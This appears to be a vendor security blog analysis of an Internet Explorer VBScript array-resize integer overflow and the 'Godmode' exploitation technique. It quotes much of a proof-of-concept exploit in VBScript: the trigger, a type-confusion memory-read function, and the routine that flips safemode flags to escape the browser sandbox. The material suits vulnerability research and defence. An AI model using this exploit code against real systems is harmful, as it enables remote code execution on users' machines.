The bug is caused by improper handling resizing an array in the Internet Explorer VBScript engine. VBScript is the default scripting language in ASP (Active Server Pages). Other browsers like Google Chrome do not support VBScript, but Internet Explorer still supports it via a legacy engine to ensure backward compatibility.
An array has the following structure in the VBScript engine:
typedef struct tagSAFEARRAY
{
USHORT cDims;
USHORT fFeatures;
ULONG cbElements;
ULONG cLocks;
PVOID pvData;
SAFEARRAYBOUND rgsabound[ 1 ];
} SAFEARRAY;
typedef struct tagSAFEARRAYBOUND
{
ULONG cElements;
LONG lLbound;
} SAFEARRAYBOUND;
pvData is a pointer to address of the array, and rgsabound [0].cElements stands for the numbers of elements in the array.
Each element is a structure Var, whose size is 0×10:
Var
{
0×00: varType
0×04: padding
0×08: dataHigh
0x0c: dataLow
}
A bug may occur upon redefining an array with new length in VBScript, such as:
redim aa(a0)
…
redim Preserve aa(a1)
VBScript engine will call function OLEAUT32!SafeArrayRedim(), whose arguments are:
First: ppsaOUT //the safeArray address
Second: psaboundNew //the address of SAFEARRAY, which contains the new
//number of elements: arg_newElementsSize
Figure 1. Code of function SafeArrayRedim()
The function SafeArrayRedim() does the following steps:
Here is the problem: integer overflow (singed/unsigned)
- Get the size of old array: oldSize= arg_pSafeArray-> cbElements*0×10
- Set the new number to the array: arg_pSafeArray-> rgsabound[0].cElements = arg_newElementsSize
- Get the size of new array: newSize = arg_newElementsSize*0×10
- Get the difference: sub = newSize – oldSize
- If sub > 0, goto bigger_alloc (this branch has no problem)
- If sub < 0, goto less_alloc to reallocate memory by function ole32!CRetailMalloc_Realloc()
In this case, go this branch. Though sub > 0×8000000 as unsigned integer, sub is treated as negative value here because opcode jge works on signed integer.
The Dangerous PoC Exploit
- cElements is used as unsigned integer; oldsize, newsize, sub is used as unsigned integer
- sub is treated as signed integer in opcode jge comparision
This critical vulnerability can be triggered in a simple way. For VBScript engine, there is a magic exploitation method called “Godmode”. With “Godmode,” arbitrary code written in VBScript can break the browser sandbox. Attackers do not need to write shellcode and ROP; DEP and ALSR protection is naturally useless here.
Because we can do almost everything by VBScript in “Godmode,” a file infector payload is not necessary in this situation. This makes it easy to evade the detections on heap spray, Return Oriented Programming (ROP), shellcode, or a file infector payload.
Next, we’ll see how the reliable the existing PoC is.
Exploiting the vulnerability
Firstl, the exploit PoC does type confusion using this vulnerability. It defines two arrays: aa and ab, and then resizes aa with a huge number.
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
Because the type of arrays aa and ab are same, and the elements number is equal, it’s possible to have the array memory layout as following:
Figure 2. Expected memory layout of array aa, ab
When redim Preserve aa(a2)” ,a2 = a0+&h8000000, is run, it may trigger the vulnerability. If that happens, the out-of-bound elements of aa are accessible. The PoC then uses it to do type confusion on element of ab.
But the memory layout does not always meet the expectation, and the bug may not be triggered every time. So the PoC tries many times to meet the following condition:
Which means: address( aa(a0)) is equal to address( ab(b0)) + 8
- The address of ab(b0) is a pointer to the type field (naturally, b0=0 here)
- The address of aa(a0) is a pointer to the data high field of ab(b0)
Figure 3. Memory layout the conditions meet
Then, modifying the ab(b0) data high field equals to modifying the aa(a0) type field — typeconfusion.
Secondly, the PoC makes any memory readable by the type confusion.
Function readmem(add)
On Error Resume Next
ab(b0)=0 // type of aa(a0) is changed to int
aa(a0)=add+4 // the high data of aa(a0) is set to add+4
ab(b0)=1.69759663316747E-313 // thisis 0×0000000800000008
// now, type of aa(a0) is changed to bstr
readmem=lenb(aa(a0)) // length of bstr stores in pBstrBase-4
// lenb(aa(a0)) = [pBstrBase-4] = [add+4-4]
ab(b0)=0
end function
The abovementioned function can return any [add], which is used to enter “Godmode.”
Enter “Godmode”
We know that VBScript can be used in browsers or the local shell. When used in the browser, its behavior is restricted, but the restriction is controlled by some flags. That means, if the flags are modified, VBScript in HTML can do everything as in the local shell. That way, attackers can write malicious code in VBScript easily, which is known as “Godmode.”
The following function in the PoC exploit is used to enter “Godmode”. The said flags exists in the object COleScript. If the address of COleScript is retrieved, the flags can be modified.
function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8) // get address of CScriptEntryPoint which includes pointer to COleScript
i=readmemo(i+16) // get address of COleScript which includes pointer the said safemode flags
j=readmemo(i+&h134)
for k=0 to &h60 step 4 // for compatibility of different IE versions
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4) // change safemode flags
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runmumaa()
end function
Here, function mydata() can return a variable of function object, which includes a pointer to CScriptEntryPoint. Then we raise a question: If the address of a function object is not accessible using VBScript, how does the PoC make it? The following function shows a smart trick in this PoC:
function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function
The key is in the first three lines of the function:
i=testaa
We know that we cannot get the address of a function object in VBScript. This code seems to be nonsense. However, let’s see the call stack when executing it.
Before the above line, the stack is empty. First, the VM translates testaa as a function, and puts its address into the stack. Second, VM translates the address of i, and tries assignment operation. However, the VM finds that the type in stack is function object. So it returns an error and enter error handling. Because “On Error Resume Next” is set in the function mydata(), VM will continue the next sentence even when the error occurs.
i=null
For this line, VM translates “null” first. For “null”, VM will not put a data into stack. Instead, it only changes the type of the last data in stack to 0×1!! Then VM assigns it to i, — that’s just the address of function testaa(), though the type of i is VT_NULL.
The abovementioned lines are used to leak the address of function testaa() from a VT_NULL type.
Conclusion
The “Godmode” of legacy VBScript engine is the most dangerous risk in Internet Explorer. If a suitable vulnerability is found, attackers can develop stable exploits within small effort. CVE-2014-6322 is just one of vulnerabilities the most easily to do that. Fortunately, Microsoft has released patch for that particular CVE, but we still expect Microsoft to provide direct fix for “Godmode,” in the same way Chrome abandoned support for VBScript.
In addition, this vulnerability is fairly simple to exploit and to bypass all protection to enter into VBScript GodMode(), which in turn can make attackers ‘super user’ thus having full control on the system. Attackers do not necessarily need shellcode to compromise their targets.
The scope of affected Windows versions is very broad, with many affected versions (such as Windows 95 and WIndows XP) no longer supported. This raises the risk for these older OSes in particular, as they are vulnerable to exploits.
This vulnerability is very rare since it affects almost OS versions, and at the same time the exploit is advanced that it bypasses all Microsoft protections including DEP, ASLR, EMET, and CFI. With this killer combination of advanced exploitation technique and wide arrayed of affected platforms, there’s a high possibility that attackers may leverage this in their future attacks.
Source: http://blog.trendmicro.com/trendlab...ty-and-godmode-exploitation-on-cve-2014-6332/
